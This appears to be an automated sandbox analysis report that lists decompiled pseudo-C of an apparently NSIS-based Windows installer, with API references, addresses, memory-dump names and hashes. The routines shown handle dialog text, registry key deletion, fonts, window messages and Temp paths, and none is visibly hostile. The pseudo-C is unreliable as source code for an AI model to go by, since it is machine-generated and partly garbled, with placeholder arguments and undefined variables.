                                                                                    				if(_t21 == 0) {
                                                                                    					_push(0x14);
                                                                                    					_pop(0);
                                                                                    					_t22 = _t51;
                                                                                    					if(_t51 < 0x100000) {
                                                                                    						_push(0xa);
                                                                                    						_pop(0);
                                                                                    						_t41 = 0xffffffdd;
                                                                                    					}
                                                                                    					if(_t51 < 0x400) {
                                                                                    						_t41 = 0xffffffde;
                                                                                    					}
                                                                                    					if(_t51 < 0xffff3333) {
                                                                                    						_t50 = 0x14;
                                                                                    						asm("cdq");
                                                                                    						_t22 = 1 / _t50 + _t51;
                                                                                    					}
                                                                                    					_t23 = _t22 & 0x00ffffff;
                                                                                    					_t53 = _t22 >> 0;
                                                                                    					_t43 = 0xa;
                                                                                    					_t47 = ((_t22 & 0x00ffffff) + _t23 * 4 + (_t22 & 0x00ffffff) + _t23 * 4 >> 0) % _t43;
                                                                                    				} else {
                                                                                    					_t53 = (_t21 << 0x00000020 | _t51) >> 0x14;
                                                                                    					_t47 = 0;
                                                                                    				}
                                                                                    				_t29 = E004062BB(_t41, _t47, _t53,  &_v36, 0xffffffdf);
                                                                                    				_t31 = E004062BB(_t41, _t47, _t53,  &_v68, _t41);
                                                                                    				_t32 = E004062BB(_t41, _t47, 0x420d50, 0x420d50, _a8);
                                                                                    				wsprintfA(_t32 + lstrlenA(0x420d50), "%u.%u%s%s", _t53, _t47, _t31, _t29);
                                                                                    				return SetDlgItemTextA( *0x423f18, _a4, 0x420d50);
                                                                                    			}



















                                                                                    0x00404afb
                                                                                    0x00404b00
                                                                                    0x00404b08
                                                                                    0x00404b09
                                                                                    0x00404b16
                                                                                    0x00404b1e
                                                                                    0x00404b1f
                                                                                    0x00404b21
                                                                                    0x00404b23
                                                                                    0x00404b25
                                                                                    0x00404b28
                                                                                    0x00404b28
                                                                                    0x00404b2f
                                                                                    0x00404b35
                                                                                    0x00404b35
                                                                                    0x00404b3c
                                                                                    0x00404b43
                                                                                    0x00404b46
                                                                                    0x00404b49
                                                                                    0x00404b49
                                                                                    0x00404b4d
                                                                                    0x00404b5d
                                                                                    0x00404b5f
                                                                                    0x00404b62
                                                                                    0x00404b0b
                                                                                    0x00404b0b
                                                                                    0x00404b12
                                                                                    0x00404b12
                                                                                    0x00404b6a
                                                                                    0x00404b75
                                                                                    0x00404b8b
                                                                                    0x00404b9b
                                                                                    0x00404bb7

                                                                                    APIs
                                                                                    • lstrlenA.KERNEL32(00420D50,00420D50,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,00404A10,000000DF,00000000,00000400,?), ref: 00404B93
                                                                                    • wsprintfA.USER32 ref: 00404B9B
                                                                                    • SetDlgItemTextA.USER32 ref: 00404BAE
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000000.00000002.664505140.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                    • Associated: 00000000.00000002.664489699.0000000000400000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664514459.0000000000408000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664527824.000000000040A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664542475.0000000000413000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664554985.0000000000422000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664562978.000000000042A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664571482.000000000042D000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664584950.000000000043D000.00000002.00020000.sdmp Download File
                                                                                    Similarity
                                                                                    • API ID: ItemTextlstrlenwsprintf
                                                                                    • String ID: %u.%u%s%s$PB
                                                                                    • API String ID: 3540041739-838025833
                                                                                    • Opcode ID: 3412c4a7531a78c99129b4ba82c7811b22dc935ff741013f23db2bb1ff9efe52
                                                                                    • Instruction ID: 5179c0f035392565bdab74c0efbe7b8420b5ea1509705373073e4f645d5961bf
                                                                                    • Opcode Fuzzy Hash: 3412c4a7531a78c99129b4ba82c7811b22dc935ff741013f23db2bb1ff9efe52
                                                                                    • Instruction Fuzzy Hash: 6011B773A0412437DB10656D9C45FAE329CDB85374F25023BFA26F31D1E978DC1282E9
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    C-Code - Quality: 48%
                                                                                    			E00402CD0(void* __eflags, void* _a4, char* _a8, signed int _a12) {
                                                                                    				void* _v8;
                                                                                    				int _v12;
                                                                                    				char _v276;
                                                                                    				void* _t27;
                                                                                    				signed int _t33;
                                                                                    				intOrPtr* _t35;
                                                                                    				signed int _t45;
                                                                                    				signed int _t46;
                                                                                    				signed int _t47;
                                                                                    
                                                                                    				_t46 = _a12;
                                                                                    				_t47 = _t46 & 0x00000300;
                                                                                    				_t45 = _t46 & 0x00000001;
                                                                                    				_t27 = E004060AE(__eflags, _a4, _a8, _t47 | 0x00000009,  &_v8);
                                                                                    				if(_t27 == 0) {
                                                                                    					if((_a12 & 0x00000002) == 0) {
                                                                                    						L3:
                                                                                    						_push(0x105);
                                                                                    						_push( &_v276);
                                                                                    						_push(0);
                                                                                    						while(RegEnumKeyA(_v8, ??, ??, ??) == 0) {
                                                                                    							__eflags = _t45;
                                                                                    							if(__eflags != 0) {
                                                                                    								L10:
                                                                                    								RegCloseKey(_v8);
                                                                                    								return 0x3eb;
                                                                                    							}
                                                                                    							_t33 = E00402CD0(__eflags, _v8,  &_v276, _a12);
                                                                                    							__eflags = _t33;
                                                                                    							if(_t33 != 0) {
                                                                                    								break;
                                                                                    							}
                                                                                    							_push(0x105);
                                                                                    							_push( &_v276);
                                                                                    							_push(_t45);
                                                                                    						}
                                                                                    						RegCloseKey(_v8);
                                                                                    						_t35 = E00406631(3);
                                                                                    						if(_t35 != 0) {
                                                                                    							return  *_t35(_a4, _a8, _t47, 0);
                                                                                    						}
                                                                                    						return RegDeleteKeyA(_a4, _a8);
                                                                                    					}
                                                                                    					_v12 = 0;
                                                                                    					if(RegEnumValueA(_v8, 0,  &_v276,  &_v12, 0, 0, 0, 0) != 0x103) {
                                                                                    						goto L10;
                                                                                    					}
                                                                                    					goto L3;
                                                                                    				}
                                                                                    				return _t27;
                                                                                    			}












                                                                                    0x00402cdb
                                                                                    0x00402ce4
                                                                                    0x00402ced
                                                                                    0x00402cf9
                                                                                    0x00402d02
                                                                                    0x00402d0c
                                                                                    0x00402d31
                                                                                    0x00402d37
                                                                                    0x00402d3c
                                                                                    0x00402d3d
                                                                                    0x00402d6d
                                                                                    0x00402d46
                                                                                    0x00402d48
                                                                                    0x00402d98
                                                                                    0x00402d9b
                                                                                    0x00000000
                                                                                    0x00402da1
                                                                                    0x00402d57
                                                                                    0x00402d5c
                                                                                    0x00402d5e
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00402d66
                                                                                    0x00402d6b
                                                                                    0x00402d6c
                                                                                    0x00402d6c
                                                                                    0x00402d79
                                                                                    0x00402d81
                                                                                    0x00402d88
                                                                                    0x00000000
                                                                                    0x00402db1
                                                                                    0x00000000
                                                                                    0x00402d90
                                                                                    0x00402d1c
                                                                                    0x00402d2f
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00402d2f
                                                                                    0x00402db7

                                                                                    APIs
                                                                                    • RegEnumValueA.ADVAPI32 ref: 00402D24
                                                                                    • RegEnumKeyA.ADVAPI32(?,00000000,?,00000105), ref: 00402D70
                                                                                    • RegCloseKey.ADVAPI32(?,?,?), ref: 00402D79
                                                                                    • RegDeleteKeyA.ADVAPI32(?,?), ref: 00402D90
                                                                                    • RegCloseKey.ADVAPI32(?,?,?), ref: 00402D9B
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000000.00000002.664505140.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                    • Associated: 00000000.00000002.664489699.0000000000400000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664514459.0000000000408000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664527824.000000000040A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664542475.0000000000413000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664554985.0000000000422000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664562978.000000000042A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664571482.000000000042D000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664584950.000000000043D000.00000002.00020000.sdmp Download File
                                                                                    Similarity
                                                                                    • API ID: CloseEnum$DeleteValue
                                                                                    • String ID:
                                                                                    • API String ID: 1354259210-0
                                                                                    • Opcode ID: 681fed8778fb2982ecb5527b851c998c3744aa6ef2e2e43ab789fcfdd1fcd395
                                                                                    • Instruction ID: 3131e3f6e31e27b0aa66d3651422ecf58d36830b066a5e7c74bd8b9791dc988a
                                                                                    • Opcode Fuzzy Hash: 681fed8778fb2982ecb5527b851c998c3744aa6ef2e2e43ab789fcfdd1fcd395
                                                                                    • Instruction Fuzzy Hash: 21215771900108BBEF129F90CE89EEE7A7DEF44344F100476FA55B11A0E7B48F64AA68
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    C-Code - Quality: 77%
                                                                                    			E00401D65(void* __ebx, void* __edx) {
                                                                                    				struct HWND__* _t30;
                                                                                    				CHAR* _t38;
                                                                                    				void* _t48;
                                                                                    				void* _t53;
                                                                                    				signed int _t55;
                                                                                    				signed int _t58;
                                                                                    				long _t61;
                                                                                    				void* _t65;
                                                                                    
                                                                                    				_t53 = __ebx;
                                                                                    				if(( *(_t65 - 0x1b) & 0x00000001) == 0) {
                                                                                    					_t30 = GetDlgItem( *(_t65 - 8),  *(_t65 - 0x20));
                                                                                    				} else {
                                                                                    					E00402BAC(2);
                                                                                    					 *((intOrPtr*)(__ebp - 0x38)) = __edx;
                                                                                    				}
                                                                                    				_t55 =  *(_t65 - 0x1c);
                                                                                    				 *(_t65 + 8) = _t30;
                                                                                    				_t58 = _t55 & 0x00000004;
                                                                                    				 *(_t65 - 0xc) = _t55 & 0x00000003;
                                                                                    				 *(_t65 - 0x34) = _t55 >> 0x1f;
                                                                                    				 *(_t65 - 0x30) = _t55 >> 0x0000001e & 0x00000001;
                                                                                    				if((_t55 & 0x00010000) == 0) {
                                                                                    					_t38 =  *(_t65 - 0x24) & 0x0000ffff;
                                                                                    				} else {
                                                                                    					_t38 = E00402BCE(0x11);
                                                                                    				}
                                                                                    				 *(_t65 - 8) = _t38;
                                                                                    				GetClientRect( *(_t65 + 8), _t65 - 0x84);
                                                                                    				asm("sbb edi, edi");
                                                                                    				_t61 = LoadImageA( ~_t58 &  *0x424740,  *(_t65 - 8),  *(_t65 - 0xc),  *(_t65 - 0x7c) *  *(_t65 - 0x34),  *(_t65 - 0x78) *  *(_t65 - 0x30),  *(_t65 - 0x1c) & 0x0000fef0);
                                                                                    				_t48 = SendMessageA( *(_t65 + 8), 0x172,  *(_t65 - 0xc), _t61);
                                                                                    				if(_t48 != _t53 &&  *(_t65 - 0xc) == _t53) {
                                                                                    					DeleteObject(_t48);
                                                                                    				}
                                                                                    				if( *((intOrPtr*)(_t65 - 0x28)) >= _t53) {
                                                                                    					_push(_t61);
                                                                                    					E00406186();
                                                                                    				}
                                                                                    				 *0x4247e8 =  *0x4247e8 +  *((intOrPtr*)(_t65 - 4));
                                                                                    				return 0;
                                                                                    			}











                                                                                    0x00401d65
                                                                                    0x00401d69
                                                                                    0x00401d7e
                                                                                    0x00401d6b
                                                                                    0x00401d6d
                                                                                    0x00401d73
                                                                                    0x00401d73
                                                                                    0x00401d84
                                                                                    0x00401d87
                                                                                    0x00401d91
                                                                                    0x00401d94
                                                                                    0x00401d9c
                                                                                    0x00401dad
                                                                                    0x00401db0
                                                                                    0x00401dbb
                                                                                    0x00401db2
                                                                                    0x00401db4
                                                                                    0x00401db4
                                                                                    0x00401dbf
                                                                                    0x00401dcc
                                                                                    0x00401df3
                                                                                    0x00401e02
                                                                                    0x00401e10
                                                                                    0x00401e18
                                                                                    0x00401e20
                                                                                    0x00401e20
                                                                                    0x00401e29
                                                                                    0x00401e2f
                                                                                    0x004029a5
                                                                                    0x004029a5
                                                                                    0x00402a5d
                                                                                    0x00402a69

                                                                                    APIs
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000000.00000002.664505140.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                    • Associated: 00000000.00000002.664489699.0000000000400000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664514459.0000000000408000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664527824.000000000040A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664542475.0000000000413000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664554985.0000000000422000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664562978.000000000042A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664571482.000000000042D000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664584950.000000000043D000.00000002.00020000.sdmp Download File
                                                                                    Similarity
                                                                                    • API ID: ClientDeleteImageItemLoadMessageObjectRectSend
                                                                                    • String ID:
                                                                                    • API String ID: 1849352358-0
                                                                                    • Opcode ID: 6bf6946672e698bf1bfe4de63576d549b40da2e57045ab1ce7509431734d3278
                                                                                    • Instruction ID: 488f83a01e3392fad3bf683b4443aaeb9baaf514c425c8ec37ca45fc88de17ea
                                                                                    • Opcode Fuzzy Hash: 6bf6946672e698bf1bfe4de63576d549b40da2e57045ab1ce7509431734d3278
                                                                                    • Instruction Fuzzy Hash: E9212A72E00109AFCF15DFA4DD85AAEBBB5EB88300F24417EF911F62A1CB389941DB54
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    C-Code - Quality: 73%
                                                                                    			E00401E35(intOrPtr __edx) {
                                                                                    				void* __esi;
                                                                                    				int _t9;
                                                                                    				signed char _t15;
                                                                                    				struct HFONT__* _t18;
                                                                                    				intOrPtr _t30;
                                                                                    				struct HDC__* _t31;
                                                                                    				void* _t33;
                                                                                    				void* _t35;
                                                                                    
                                                                                    				_t30 = __edx;
                                                                                    				_t31 = GetDC( *(_t35 - 8));
                                                                                    				_t9 = E00402BAC(2);
                                                                                    				 *((intOrPtr*)(_t35 - 0x38)) = _t30;
                                                                                    				0x40b820->lfHeight =  ~(MulDiv(_t9, GetDeviceCaps(_t31, 0x5a), 0x48));
                                                                                    				ReleaseDC( *(_t35 - 8), _t31);
                                                                                    				 *0x40b830 = E00402BAC(3);
                                                                                    				_t15 =  *((intOrPtr*)(_t35 - 0x18));
                                                                                    				 *((intOrPtr*)(_t35 - 0x38)) = _t30;
                                                                                    				 *0x40b837 = 1;
                                                                                    				 *0x40b834 = _t15 & 0x00000001;
                                                                                    				 *0x40b835 = _t15 & 0x00000002;
                                                                                    				 *0x40b836 = _t15 & 0x00000004;
                                                                                    				E004062BB(_t9, _t31, _t33, 0x40b83c,  *((intOrPtr*)(_t35 - 0x24)));
                                                                                    				_t18 = CreateFontIndirectA(0x40b820);
                                                                                    				_push(_t18);
                                                                                    				_push(_t33);
                                                                                    				E00406186();
                                                                                    				 *0x4247e8 =  *0x4247e8 +  *((intOrPtr*)(_t35 - 4));
                                                                                    				return 0;
                                                                                    			}











                                                                                    0x00401e35
                                                                                    0x00401e40
                                                                                    0x00401e42
                                                                                    0x00401e4f
                                                                                    0x00401e66
                                                                                    0x00401e6b
                                                                                    0x00401e78
                                                                                    0x00401e7d
                                                                                    0x00401e81
                                                                                    0x00401e8c
                                                                                    0x00401e93
                                                                                    0x00401ea5
                                                                                    0x00401eab
                                                                                    0x00401eb0
                                                                                    0x00401eba
                                                                                    0x00402620
                                                                                    0x00401569
                                                                                    0x004029a5
                                                                                    0x00402a5d
                                                                                    0x00402a69

                                                                                    APIs
                                                                                    • GetDC.USER32(?), ref: 00401E38
                                                                                    • GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401E52
                                                                                    • MulDiv.KERNEL32(00000000,00000000), ref: 00401E5A
                                                                                    • ReleaseDC.USER32 ref: 00401E6B
                                                                                    • CreateFontIndirectA.GDI32(0040B820), ref: 00401EBA
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000000.00000002.664505140.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                    • Associated: 00000000.00000002.664489699.0000000000400000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664514459.0000000000408000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664527824.000000000040A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664542475.0000000000413000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664554985.0000000000422000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664562978.000000000042A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664571482.000000000042D000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664584950.000000000043D000.00000002.00020000.sdmp Download File
                                                                                    Similarity
                                                                                    • API ID: CapsCreateDeviceFontIndirectRelease
                                                                                    • String ID:
                                                                                    • API String ID: 3808545654-0
                                                                                    • Opcode ID: 58c68d17d92a7b2530b6f57be575cc9bfeb44b1e921b0f803df6e483c56fd12b
                                                                                    • Instruction ID: 5097186ed897f0bb8f2c49de76e9dd96fe00b68d7cb2a8ba7479d5b6a1f75869
                                                                                    • Opcode Fuzzy Hash: 58c68d17d92a7b2530b6f57be575cc9bfeb44b1e921b0f803df6e483c56fd12b
                                                                                    • Instruction Fuzzy Hash: 18014072504344AEE7017BA4AE89B9A7FF8E755701F10547AF141B61F2CB790445CB6C
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    C-Code - Quality: 59%
                                                                                    			E00401C2E(intOrPtr __edx) {
                                                                                    				int _t29;
                                                                                    				long _t30;
                                                                                    				signed int _t32;
                                                                                    				CHAR* _t35;
                                                                                    				long _t36;
                                                                                    				int _t41;
                                                                                    				signed int _t42;
                                                                                    				int _t46;
                                                                                    				int _t56;
                                                                                    				intOrPtr _t57;
                                                                                    				struct HWND__* _t61;
                                                                                    				void* _t64;
                                                                                    
                                                                                    				_t57 = __edx;
                                                                                    				_t29 = E00402BAC(3);
                                                                                    				 *((intOrPtr*)(_t64 - 0x38)) = _t57;
                                                                                    				 *(_t64 - 8) = _t29;
                                                                                    				_t30 = E00402BAC(4);
                                                                                    				 *((intOrPtr*)(_t64 - 0x38)) = _t57;
                                                                                    				 *(_t64 + 8) = _t30;
                                                                                    				if(( *(_t64 - 0x14) & 0x00000001) != 0) {
                                                                                    					 *((intOrPtr*)(__ebp - 8)) = E00402BCE(0x33);
                                                                                    				}
                                                                                    				__eflags =  *(_t64 - 0x14) & 0x00000002;
                                                                                    				if(( *(_t64 - 0x14) & 0x00000002) != 0) {
                                                                                    					 *(_t64 + 8) = E00402BCE(0x44);
                                                                                    				}
                                                                                    				__eflags =  *((intOrPtr*)(_t64 - 0x2c)) - 0x21;
                                                                                    				_push(1);
                                                                                    				if(__eflags != 0) {
                                                                                    					_t59 = E00402BCE();
                                                                                    					_t32 = E00402BCE();
                                                                                    					asm("sbb ecx, ecx");
                                                                                    					asm("sbb eax, eax");
                                                                                    					_t35 =  ~( *_t31) & _t59;
                                                                                    					__eflags = _t35;
                                                                                    					_t36 = FindWindowExA( *(_t64 - 8),  *(_t64 + 8), _t35,  ~( *_t32) & _t32);
                                                                                    					goto L10;
                                                                                    				} else {
                                                                                    					_t61 = E00402BAC();
                                                                                    					 *((intOrPtr*)(_t64 - 0x38)) = _t57;
                                                                                    					_t41 = E00402BAC(2);
                                                                                    					 *((intOrPtr*)(_t64 - 0x38)) = _t57;
                                                                                    					_t56 =  *(_t64 - 0x14) >> 2;
                                                                                    					if(__eflags == 0) {
                                                                                    						_t36 = SendMessageA(_t61, _t41,  *(_t64 - 8),  *(_t64 + 8));
                                                                                    						L10:
                                                                                    						 *(_t64 - 0xc) = _t36;
                                                                                    					} else {
                                                                                    						_t42 = SendMessageTimeoutA(_t61, _t41,  *(_t64 - 8),  *(_t64 + 8), _t46, _t56, _t64 - 0xc);
                                                                                    						asm("sbb eax, eax");
                                                                                    						 *((intOrPtr*)(_t64 - 4)) =  ~_t42 + 1;
                                                                                    					}
                                                                                    				}
                                                                                    				__eflags =  *((intOrPtr*)(_t64 - 0x28)) - _t46;
                                                                                    				if( *((intOrPtr*)(_t64 - 0x28)) >= _t46) {
                                                                                    					_push( *(_t64 - 0xc));
                                                                                    					E00406186();
                                                                                    				}
                                                                                    				 *0x4247e8 =  *0x4247e8 +  *((intOrPtr*)(_t64 - 4));
                                                                                    				return 0;
                                                                                    			}















                                                                                    0x00401c2e
                                                                                    0x00401c30
                                                                                    0x00401c37
                                                                                    0x00401c3a
                                                                                    0x00401c3d
                                                                                    0x00401c47
                                                                                    0x00401c4b
                                                                                    0x00401c4e
                                                                                    0x00401c57
                                                                                    0x00401c57
                                                                                    0x00401c5a
                                                                                    0x00401c5e
                                                                                    0x00401c67
                                                                                    0x00401c67
                                                                                    0x00401c6a
                                                                                    0x00401c6e
                                                                                    0x00401c70
                                                                                    0x00401cc5
                                                                                    0x00401cc7
                                                                                    0x00401cd0
                                                                                    0x00401cd8
                                                                                    0x00401cdb
                                                                                    0x00401cdb
                                                                                    0x00401ce4
                                                                                    0x00000000
                                                                                    0x00401c72
                                                                                    0x00401c79
                                                                                    0x00401c7b
                                                                                    0x00401c7e
                                                                                    0x00401c84
                                                                                    0x00401c8b
                                                                                    0x00401c8e
                                                                                    0x00401cb6
                                                                                    0x00401cea
                                                                                    0x00401cea
                                                                                    0x00401c90
                                                                                    0x00401c9e
                                                                                    0x00401ca6
                                                                                    0x00401ca9
                                                                                    0x00401ca9
                                                                                    0x00401c8e
                                                                                    0x00401ced
                                                                                    0x00401cf0
                                                                                    0x00401cf6
                                                                                    0x004029a5
                                                                                    0x004029a5
                                                                                    0x00402a5d
                                                                                    0x00402a69

                                                                                    APIs
                                                                                    • SendMessageTimeoutA.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C9E
                                                                                    • SendMessageA.USER32 ref: 00401CB6
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000000.00000002.664505140.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                    • Associated: 00000000.00000002.664489699.0000000000400000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664514459.0000000000408000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664527824.000000000040A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664542475.0000000000413000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664554985.0000000000422000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664562978.000000000042A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664571482.000000000042D000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664584950.000000000043D000.00000002.00020000.sdmp Download File
                                                                                    Similarity
                                                                                    • API ID: MessageSend$Timeout
                                                                                    • String ID: !
                                                                                    • API String ID: 1777923405-2657877971
                                                                                    • Opcode ID: fd1638e98ba6d3c211dbcd30864b3267bbc4afbfdbf9ed1ecbf77a0a26ee8f5b
                                                                                    • Instruction ID: 90c6e89302a946556e44a8134fdeeaca46b2157ebe1368c161caa9607488c25b
                                                                                    • Opcode Fuzzy Hash: fd1638e98ba6d3c211dbcd30864b3267bbc4afbfdbf9ed1ecbf77a0a26ee8f5b
                                                                                    • Instruction Fuzzy Hash: 80216071A44208BEEB05DFB5D98AAAD7FB4EF44304F20447FF502B61D1D6B88541DB28
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    C-Code - Quality: 100%
                                                                                    			E00405BC0(CHAR* _a4) {
                                                                                    				CHAR* _t7;
                                                                                    
                                                                                    				_t7 = _a4;
                                                                                    				if( *(CharPrevA(_t7,  &(_t7[lstrlenA(_t7)]))) != 0x5c) {
                                                                                    					lstrcatA(_t7, 0x40a014);
                                                                                    				}
                                                                                    				return _t7;
                                                                                    			}




                                                                                    0x00405bc1
                                                                                    0x00405bd8
                                                                                    0x00405be0
                                                                                    0x00405be0
                                                                                    0x00405be8

                                                                                    APIs
                                                                                    • lstrlenA.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,0040344E,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403673,?,00000007,00000009,0000000B), ref: 00405BC6
                                                                                    • CharPrevA.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,0040344E,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403673,?,00000007,00000009,0000000B), ref: 00405BCF
                                                                                    • lstrcatA.KERNEL32(?,0040A014,?,00000007,00000009,0000000B), ref: 00405BE0
                                                                                    Strings
                                                                                    • C:\Users\user\AppData\Local\Temp\, xrefs: 00405BC0
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000000.00000002.664505140.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                    • Associated: 00000000.00000002.664489699.0000000000400000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664514459.0000000000408000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664527824.000000000040A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664542475.0000000000413000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664554985.0000000000422000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664562978.000000000042A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664571482.000000000042D000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664584950.000000000043D000.00000002.00020000.sdmp Download File
                                                                                    Similarity
                                                                                    • API ID: CharPrevlstrcatlstrlen
                                                                                    • String ID: C:\Users\user\AppData\Local\Temp\
                                                                                    • API String ID: 2659869361-3081826266
                                                                                    • Opcode ID: 7e3bd0a74015a4b4c7bd8f32b9337ec82444728bd267b6e5413a6877d2367a50
                                                                                    • Instruction ID: d6a8f4146c737b4c1111608fba26ea94f920a63204c4a5504a78fba285be9fad
                                                                                    • Opcode Fuzzy Hash: 7e3bd0a74015a4b4c7bd8f32b9337ec82444728bd267b6e5413a6877d2367a50
                                                                                    • Instruction Fuzzy Hash: 2CD0A7721055307BD21237154C09ECF2A488F0230470A006BF541B6191C73C5C1187FE
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    C-Code - Quality: 100%
                                                                                    			E00405C59(CHAR* _a4) {
                                                                                    				CHAR* _t5;
                                                                                    				char* _t7;
                                                                                    				CHAR* _t9;
                                                                                    				char _t10;
                                                                                    				CHAR* _t11;
                                                                                    				void* _t13;
                                                                                    
                                                                                    				_t11 = _a4;
                                                                                    				_t9 = CharNextA(_t11);
                                                                                    				_t5 = CharNextA(_t9);
                                                                                    				_t10 =  *_t11;
                                                                                    				if(_t10 == 0 ||  *_t9 != 0x3a || _t9[1] != 0x5c) {
                                                                                    					if(_t10 != 0x5c || _t11[1] != _t10) {
                                                                                    						L10:
                                                                                    						return 0;
                                                                                    					} else {
                                                                                    						_t13 = 2;
                                                                                    						while(1) {
                                                                                    							_t13 = _t13 - 1;
                                                                                    							_t7 = E00405BEB(_t5, 0x5c);
                                                                                    							if( *_t7 == 0) {
                                                                                    								goto L10;
                                                                                    							}
                                                                                    							_t5 = _t7 + 1;
                                                                                    							if(_t13 != 0) {
                                                                                    								continue;
                                                                                    							}
                                                                                    							return _t5;
                                                                                    						}
                                                                                    						goto L10;
                                                                                    					}
                                                                                    				} else {
                                                                                    					return CharNextA(_t5);
                                                                                    				}
                                                                                    			}









                                                                                    0x00405c62
                                                                                    0x00405c69
                                                                                    0x00405c6c
                                                                                    0x00405c6e
                                                                                    0x00405c72
                                                                                    0x00405c87
                                                                                    0x00405ca6
                                                                                    0x00000000
                                                                                    0x00405c8e
                                                                                    0x00405c90
                                                                                    0x00405c91
                                                                                    0x00405c94
                                                                                    0x00405c95
                                                                                    0x00405c9d
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00405c9f
                                                                                    0x00405ca2
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00405ca2
                                                                                    0x00000000
                                                                                    0x00405c91
                                                                                    0x00405c7f
                                                                                    0x00000000
                                                                                    0x00405c80

                                                                                    APIs
                                                                                    • CharNextA.USER32(?,?,C:\Users\user\AppData\Local\Temp\nspD9BF.tmp,?,00405CC5,C:\Users\user\AppData\Local\Temp\nspD9BF.tmp,C:\Users\user\AppData\Local\Temp\nspD9BF.tmp,73BCFA90,?,73BCF560,00405A10,?,73BCFA90,73BCF560,00000000), ref: 00405C67
                                                                                    • CharNextA.USER32(00000000), ref: 00405C6C
                                                                                    • CharNextA.USER32(00000000), ref: 00405C80
                                                                                    Strings
                                                                                    • C:\Users\user\AppData\Local\Temp\nspD9BF.tmp, xrefs: 00405C5A
                                                                                    Memory Dump Source
